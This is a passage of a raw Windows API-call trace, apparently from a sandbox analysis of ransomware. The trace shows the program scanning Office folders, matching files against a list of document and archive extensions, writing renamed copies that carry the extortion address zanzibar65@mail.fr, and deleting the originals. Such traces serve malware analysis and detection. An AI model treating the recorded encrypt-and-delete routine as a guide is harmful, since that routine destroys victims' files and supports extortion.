GetLastError () returned 0x0 [0274.571] ReadFile (in: hFile=0x398, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x603d8, lpOverlapped=0x0) returned 1 [0274.597] WriteFile (in: hFile=0x390, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0x603e0, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0x603e0, lpOverlapped=0x0) returned 1 [0274.604] ReadFile (in: hFile=0x398, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.604] WriteFile (in: hFile=0x390, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.604] SetEndOfFile (hFile=0x390) returned 1 [0274.936] CloseHandle (hObject=0x390) returned 1 [0274.936] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.936] SetEndOfFile (hFile=0x398) returned 1 [0274.959] CloseHandle (hObject=0x398) returned 1 [0274.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw")) returned 1 [0275.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0275.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0275.028] lstrlenW (lpString=".doc") returned 4 [0275.028] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0275.028] lstrlenW (lpString=".docx") returned 5 [0275.028] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0275.028] lstrlenW (lpString=".pdf") returned 4 [0275.028] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0275.028] lstrlenW (lpString=".xls") returned 4 [0275.029] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0275.029] lstrlenW (lpString=".xlsx") returned 5 [0275.029] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0275.029] lstrlenW (lpString=".ppt") returned 4 [0275.029] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0275.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0275.029] lstrlenW (lpString=".zip") returned 4 [0275.029] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0275.029] lstrlenW (lpString=".rar") returned 4 [0275.029] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0275.029] lstrlenW (lpString=".bz2") returned 4 [0275.029] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0275.029] lstrlenW (lpString=".7z") returned 3 [0275.029] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0275.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0275.029] lstrlenW (lpString=".dbf") returned 4 [0275.029] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0275.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0275.029] lstrlenW (lpString=".1cd") returned 4 [0275.029] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0275.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0275.029] lstrlenW (lpString=".jpg") returned 4 [0275.029] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0275.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0275.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0275.029] lstrlenW (lpString=".doc") returned 4 [0275.029] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0275.029] lstrlenW (lpString=".docx") returned 5 [0275.029] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0275.029] lstrlenW (lpString=".pdf") returned 4 [0275.029] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0275.029] lstrlenW (lpString=".xls") returned 4 [0275.029] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0275.030] lstrlenW (lpString=".xlsx") returned 5 [0275.030] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0275.030] lstrlenW (lpString=".ppt") returned 4 [0275.030] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0275.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0275.030] lstrlenW (lpString=".zip") returned 4 [0275.030] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0275.030] lstrlenW (lpString=".rar") returned 4 [0275.030] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0275.030] lstrlenW (lpString=".bz2") returned 4 [0275.030] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0275.030] lstrlenW (lpString=".7z") returned 3 [0275.030] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0275.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0275.030] lstrlenW (lpString=".dbf") returned 4 [0275.030] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0275.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0275.030] lstrlenW (lpString=".1cd") returned 4 [0275.030] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0275.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0275.030] lstrlenW (lpString=".jpg") returned 4 [0275.030] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0275.030] lstrcmpiW (lpString1=".VRD", lpString2=".html") returned 1 [0275.030] lstrlenW (lpString="ASSET.VRD") returned 9 [0275.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0275.031] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=1694) returned 1 [0275.031] CloseHandle (hObject=0x370) returned 1 [0275.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd")) returned 0x20 [0275.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0275.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0275.031] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0275.031] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0275.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0275.031] GetLastError () returned 0x0 [0275.032] ReadFile (hFile=0x370, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0) Thread: id = 102 os_tid = 0x690 [0266.605] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10000) returned 0x39f0f18 [0266.606] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10000) returned 0x3a00f20 [0266.606] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f55b8 [0266.606] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6) returned 0x2f3000 [0266.606] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f55d0 [0266.606] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x100000) returned 0x4070020 [0266.606] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f55e8 [0266.606] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f55e8, Size=0x20) returned 0x3992b8 [0266.606] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f55e8 [0266.606] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f55e8, Size=0x20) returned 0x3992e0 [0266.606] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77410000 [0266.607] GetProcAddress (hModule=0x77410000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7743d650 [0266.607] Wow64DisableWow64FsRedirection (in: OldValue=0x34bff58 | out: OldValue=0x34bff58*=0x0) returned 1 [0266.607] lstrlenW (lpString="kernel32.dll") returned 12 [0266.607] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x3992b8 | out: hHeap=0x2a0000) returned 1 [0266.607] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0266.607] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x3992e0 | out: hHeap=0x2a0000) returned 1 [0266.607] Sleep (dwMilliseconds=0x64) [0266.836] Sleep (dwMilliseconds=0x64) [0267.094] Sleep (dwMilliseconds=0x64) [0267.477] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0267.477] lstrlenW (lpString="base.xml") returned 8 [0267.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0267.858] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=3150) returned 1 [0267.858] CloseHandle (hObject=0x2fc) returned 1 [0267.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0267.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0267.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0267.864] lstrlenW (lpString=".doc") returned 4 [0267.864] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.864] lstrlenW (lpString=".docx") returned 5 [0267.864] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0267.864] lstrlenW (lpString=".pdf") returned 4 [0267.865] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.865] lstrlenW (lpString=".xls") returned 4 [0267.865] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.865] lstrlenW (lpString=".xlsx") returned 5 [0267.865] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0267.865] lstrlenW (lpString=".ppt") returned 4 [0267.865] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0267.865] lstrlenW (lpString=".zip") returned 4 [0267.865] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.865] lstrlenW (lpString=".rar") returned 4 [0267.865] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.865] lstrlenW (lpString=".bz2") returned 4 [0267.865] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.865] lstrlenW (lpString=".7z") returned 3 [0267.865] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0267.865] lstrlenW (lpString=".dbf") returned 4 [0267.865] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0267.865] lstrlenW (lpString=".1cd") returned 4 [0267.865] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0267.865] lstrlenW (lpString=".jpg") returned 4 [0267.865] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0267.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0267.865] lstrlenW (lpString=".doc") returned 4 [0267.865] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.865] lstrlenW (lpString=".docx") returned 5 [0267.865] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0267.865] lstrlenW (lpString=".pdf") returned 4 [0267.865] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.866] lstrlenW (lpString=".xls") returned 4 [0267.866] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.866] lstrlenW (lpString=".xlsx") returned 5 [0267.866] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0267.866] lstrlenW (lpString=".ppt") returned 4 [0267.866] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0267.866] lstrlenW (lpString=".zip") returned 4 [0267.866] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.866] lstrlenW (lpString=".rar") returned 4 [0267.866] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.866] lstrlenW (lpString=".bz2") returned 4 [0267.866] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.866] lstrlenW (lpString=".7z") returned 3 [0267.866] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0267.866] lstrlenW (lpString=".dbf") returned 4 [0267.866] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0267.866] lstrlenW (lpString=".1cd") returned 4 [0267.866] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0267.866] lstrlenW (lpString=".jpg") returned 4 [0267.866] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.866] lstrcmpiW (lpString1=".gif", lpString2=".html") returned -1 [0267.866] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0267.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0268.046] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=4587) returned 1 [0268.046] CloseHandle (hObject=0x2f8) returned 1 [0268.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0268.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0268.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0268.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0268.047] lstrlenW (lpString=".doc") returned 4 [0268.047] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0268.047] lstrlenW (lpString=".docx") returned 5 [0268.047] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0268.047] lstrlenW (lpString=".pdf") returned 4 [0268.047] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0268.047] lstrlenW (lpString=".xls") returned 4 [0268.047] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0268.047] lstrlenW (lpString=".xlsx") returned 5 [0268.047] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0268.047] lstrlenW (lpString=".ppt") returned 4 [0268.047] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0268.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0268.047] lstrlenW (lpString=".zip") returned 4 [0268.047] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0268.047] lstrlenW (lpString=".rar") returned 4 [0268.047] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0268.047] lstrlenW (lpString=".bz2") returned 4 [0268.047] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0268.047] lstrlenW (lpString=".7z") returned 3 [0268.047] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0268.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0268.047] lstrlenW (lpString=".dbf") returned 4 [0268.047] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0268.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0268.047] lstrlenW (lpString=".1cd") returned 4 [0268.048] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0268.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0268.048] lstrlenW (lpString=".jpg") returned 4 [0268.048] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0268.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0268.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0268.048] lstrlenW (lpString=".doc") returned 4 [0268.048] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0268.048] lstrlenW (lpString=".docx") returned 5 [0268.048] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0268.048] lstrlenW (lpString=".pdf") returned 4 [0268.048] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0268.048] lstrlenW (lpString=".xls") returned 4 [0268.048] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0268.048] lstrlenW (lpString=".xlsx") returned 5 [0268.048] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0268.048] lstrlenW (lpString=".ppt") returned 4 [0268.048] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0268.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0268.048] lstrlenW (lpString=".zip") returned 4 [0268.048] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0268.048] lstrlenW (lpString=".rar") returned 4 [0268.048] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0268.048] lstrlenW (lpString=".bz2") returned 4 [0268.048] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0268.048] lstrlenW (lpString=".7z") returned 3 [0268.048] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0268.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0268.049] lstrlenW (lpString=".dbf") returned 4 [0268.049] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0268.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0268.049] lstrlenW (lpString=".1cd") returned 4 [0268.049] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0268.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0268.049] lstrlenW (lpString=".jpg") returned 4 [0268.049] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0268.049] lstrcmpiW (lpString1=".htm", lpString2=".html") returned -1 [0268.049] lstrlenW (lpString="Garden.htm") returned 10 [0268.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0268.049] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=231) returned 1 [0268.049] CloseHandle (hObject=0x2f8) returned 1 [0268.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0268.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0268.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0268.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0268.049] lstrlenW (lpString=".doc") returned 4 [0268.049] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0268.050] lstrlenW (lpString=".docx") returned 5 [0268.050] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0268.050] lstrlenW (lpString=".pdf") returned 4 [0268.050] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0268.050] lstrlenW (lpString=".xls") returned 4 [0268.050] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0268.050] lstrlenW (lpString=".xlsx") returned 5 [0268.050] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0268.050] lstrlenW (lpString=".ppt") returned 4 [0268.050] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0268.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0268.050] lstrlenW (lpString=".zip") returned 4 [0268.050] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0268.050] lstrlenW (lpString=".rar") returned 4 [0268.050] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0268.050] lstrlenW (lpString=".bz2") returned 4 [0268.050] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0268.050] lstrlenW (lpString=".7z") returned 3 [0268.050] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0268.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0268.050] lstrlenW (lpString=".dbf") returned 4 [0268.050] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0268.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0268.050] lstrlenW (lpString=".1cd") returned 4 [0268.050] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0268.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0268.050] lstrlenW (lpString=".jpg") returned 4 [0268.050] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0268.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0268.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0268.050] lstrlenW (lpString=".doc") returned 4 [0268.050] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0268.051] lstrlenW (lpString=".docx") returned 5 [0268.051] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0268.051] lstrlenW (lpString=".pdf") returned 4 [0268.051] lstrcmpiW 